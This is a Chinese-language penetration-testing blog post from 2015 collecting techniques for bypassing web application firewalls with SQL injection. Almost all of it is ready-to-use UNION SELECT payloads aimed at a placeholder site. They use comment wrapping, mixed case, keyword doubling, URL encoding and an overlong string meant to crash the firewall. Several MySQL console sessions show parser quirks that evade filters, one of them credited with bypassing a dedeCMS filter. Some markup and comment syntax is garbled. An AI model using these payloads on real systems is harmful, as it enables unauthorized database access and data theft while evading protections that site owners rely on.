如何绕过WAF?Mrxn总结如下一些技巧
时间:2015-5-22 18:52 作者:admin 分类: 渗透测试
WAF介绍
什么是WAF?
WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
基本/简单绕过方法:
1、注释符
http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….
2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….
4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
5、内部注释
http://www.site.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释//
高级绕过方法:
1、缓冲区溢出/使防火墙崩溃
大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….
3、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能绕过
假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过
????????http://www.site.com/index.php?page_id=-15+union+select+1,2,3,4....
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?
研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如:/!/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
tips1: 神奇的 (格式输出表的那个控制符)<br /> 过空格和一些正则。<br /> <br /> mysql> select
version() <br /> -> ; <br /> +----------------------+ <br /> |
version() | <br /> +----------------------+ <br /> | 5.1.50-community-log | <br /> +----------------------+ <br /> 1 row in set (0.00 sec)<br /> 一个更好玩的技巧,这个
控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;dfff and comment it; <br /> +----+ <br /> | id | <br /> +----+ <br /> | 1 | <br /> +----+ <br /> 1 row in set (0.00 sec)<br /> usage : where id ='0'
'xxxxcomment on.
tips2:神奇的- + .
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
tips3: @
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4:mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/![>5000]/ 新构造 版本号(这个可能有些过时了。)
mysql> /*!40000select\/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~
推荐阅读: